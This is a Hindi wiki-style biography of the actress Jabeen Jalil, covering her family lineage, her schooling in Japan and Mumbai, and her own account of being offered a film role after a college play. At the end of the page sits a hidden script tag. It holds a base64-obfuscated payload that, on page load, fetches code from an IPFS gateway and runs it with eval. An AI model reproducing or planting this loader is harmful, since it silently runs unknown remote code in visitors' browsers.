जबीन जलील का परिचय

भारत डिस्कवरी प्रस्तुति
रविन्द्र प्रसाद (वार्ता | योगदान) द्वारा परिवर्तित 08:09, 18 जून 2017 का अवतरण ('जबीन जलील का जन्म 1 अप्रॅल, 1936 को दिल्ली में हुआ था...' के साथ नया पृष्ठ बनाया)
(अंतर) ← पुराना अवतरण | वर्तमान अवतरण (अंतर) | नया अवतरण → (अंतर)
यहाँ जाएँ:नेविगेशन, खोजें

जबीन जलील का जन्म 1 अप्रॅल, 1936 को दिल्ली में हुआ था। उनके पिता साल 1949 में ही ग़ुज़र गए थे। जब उनकी दोनों बड़ी बहनों का विवाह हो गया, तब वे पाकिस्तान चली गईं। घर में सिर्फ़ उनकी अम्मी, वे स्वयं और मेरा छोटा भार्इ थे।

पारिवारिक परिचय

जबीन का सम्बंध बंगाल के एक बेहद ज़हीन और पढ़े-लिखे ख़ानदान से रहा है। उनके दादा सैयद मौलवी अहमद कोलकाता यूनिवर्सिटी से स्नातक की डिग्री हासिल करने वाले पहले बंगाली मुस्लिम थे तो पिता सैयद अबू अहमद जलील अंग्रेज़ों के ज़माने के आर्इ.सी.एस. अफ़सर। जबीन की अम्मी दिलारा जलील भी एक पढ़ी-लिखी और मुंशी फ़ाजिल की डिग्री हासिल कर चुकी महिला थीं, जिनका ताल्लुक़ लाहौर के मशहूर फ़कीर ब्रदर्स के ख़ानदान से था। ये तीनों भार्इ सैयद फ़कीर नूरुद्दीन, सैयद फ़कीर सर्इदुद्दीन और सैयद फ़कीर अज़ीज़ुद्दीन महाराजा रणजीत सिंह के बेहद विश्वस्त मन्त्रियों में से थे। महाराजा रणजीत सिंह ने ही इन भार्इयों को फ़कीर उपाधि से नवाज़ा था और इनका नाम हिन्दुस्तान के इतिहास में भी दर्ज है। लाहौर का मशहूर 'फ़कीरखाना संग्रहालय' भी इन्हीं तीन भार्इयों के नाम पर है। सैयद फ़कीर अज़ीज़ुद्दीन महाराजा रणजीत सिंह के दरबार में विदेश मंत्री थे। जबीन की अम्मी दिलारा बेगम इन्हीं सैयद फ़कीर अज़ीज़ुद्दीन की पड़पोती थीं।

शिक्षा

जबीन जब सिर्फ़ दो महिने की थीं, तब उनके पिता का स्थानांतरण हुआ और वे माता-पिता के साथ जापान चली गयीं। चार साल जापान में गुज़ारने के बाद उनके पिता कण्ट्रोलर ऑफ़ टेक्सटार्इल बनकर मुम्बई चले आए, जहां नानाचौक-मुम्बई स्थित मशहूर क्वीन मेरी स्कूल में जबीन को दाख़िला दिलाया गया। स्कूली पढ़ार्इ क्वीन मेरी से पूरी करने के दौरान जबीन अपने स्कूल की हेडगर्ल भी रहीं। आगे की पढ़ाई के लिए उन्होंने एल्फ़िन्स्टन कॉलेज में दाख़िला लिया।

फ़िल्मी शुरुआत

जबीन के अनुसार- "पढ़ाई के साथ साथ मैं पूरे जोशोख़रोश के साथ कॉलेज के सांस्कृतिक कार्यक्रमों में भी हिस्सा लेती थी। कॉलेज के एक नाटक 'नेक-परवीन' में मैं अहम रोल निभा रही थी, जिसमें उस ज़माने के जाने माने प्रोडयूसर-डायरेक्टर एस.एम. यूसुफ़ और उनकी पत्नी निगार सुल्ताना जज बनकर आए थे। उन्हें मेरा अभिनय इतना पसन्द आया कि यूसुफ़ साहब के हाथों मुझे सर्वश्रेष्ठ अभिनेत्री का पुरस्कार तो मिला ही, उन्होंने मुझे अपनी अगली फ़िल्म में हिरोर्इन का रोल भी ऑफ़र किया। फ़िल्मों से हमारे परिवार का सिर्फ़ इतना सा रिश्ता था कि प्रोडयूसर-डायरेक्टर और अभिनेता सोहराब मोदी मेरे पिता के अच्छे दोस्त थे। मेरे पिता साल 1949 में ही ग़ुज़र गए थे। बड़ी दोनों बहनें शादी के बाद पाकिस्तान चली गयी थीं। घर में सिर्फ़ अम्मी, मैं और मेरा छोटा भार्इ थे। यूसुफ़ साहब के इस ऑफ़र पर मेरे लिए ख़ुद कोर्इ फ़ैसला ले पाना मुमकिन नहीं था इसलिए अगले ही दिन वे मेरे घर चले आए। उनके समझाने पर अम्मी ने थोड़ी ना-नुकुर के बाद आखिरकार मुझे फ़िल्म में काम करने की इजाज़त दे दी।"


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>